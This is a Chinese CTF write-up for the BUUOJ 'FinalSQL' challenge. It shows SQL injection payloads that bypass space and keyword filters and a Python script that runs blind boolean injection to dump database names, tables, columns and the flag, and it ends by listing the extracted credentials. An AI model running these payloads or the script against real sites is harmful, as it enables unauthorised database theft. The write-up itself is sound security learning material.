[极客大挑战 2019]FinalSQL
考点
- 盲注
启动
SQl的题目,首先试一试万能密码(虽然不可能,但是还是得试一下)
试一下双写
看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
使用extractvalue()
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
看来是加强到最后一版本了,仔细查看它的提示
跟着他的流程走,点按钮
让我们试试别的告诉我们对了,但是不是这张表(埋坑)
假装怀疑一下是存在sql注入的,经过fuzz,发现过滤了空格,union之类的关键字
’‘没有被过滤,输入11回显’ERROR’,1^0回显’NO! Not this! Click others~~~’,判断出为数字型注入
由于空格被过滤,用()代替。
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema ta)),%d,1))=%d)^1"%(i,ord(j))
获取数据库名称
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j))
获取数据库表名
1^(ord(substr((select(group_concat(column_name))from(information_schema.column s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
获取数据库列名
脚本
import requests
import time
# url是随时更新的,具体的以做题时候的为准
url = 'http://8d08c7b6-e6f3-4df0-b71c-a2a397891bab.node3.buuoj.cn/search.php?id='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "''or(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "''or(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),%d,1))>%d)" % (i, tmp)
# 爆flag 要跑很久
# payload = "''or(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, tmp)
# 爆flag 很快
payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i, tmp)
# 错误示例
# payload = "''or(ascii(substr((select(GROUP_CONCAT(fl4gawsl))from(Flaaaaag)),%d,1))>%d)" % (i, tmp)
r = requests.get(url+payload)
if 'Click' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2
flag += chr(tmp)
print(flag)
if begin == 32:
break
拿脚本盲注
以下是注入发现的信息
用户:root@localhost
数据库名:Click
表名:F1naI1y
字段名:id,username,password
username:mygod,welcome,site,site,site,site,Syc,finally,flag
password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908}
表名:Flaaaaag
字段名:id,fl4gawsl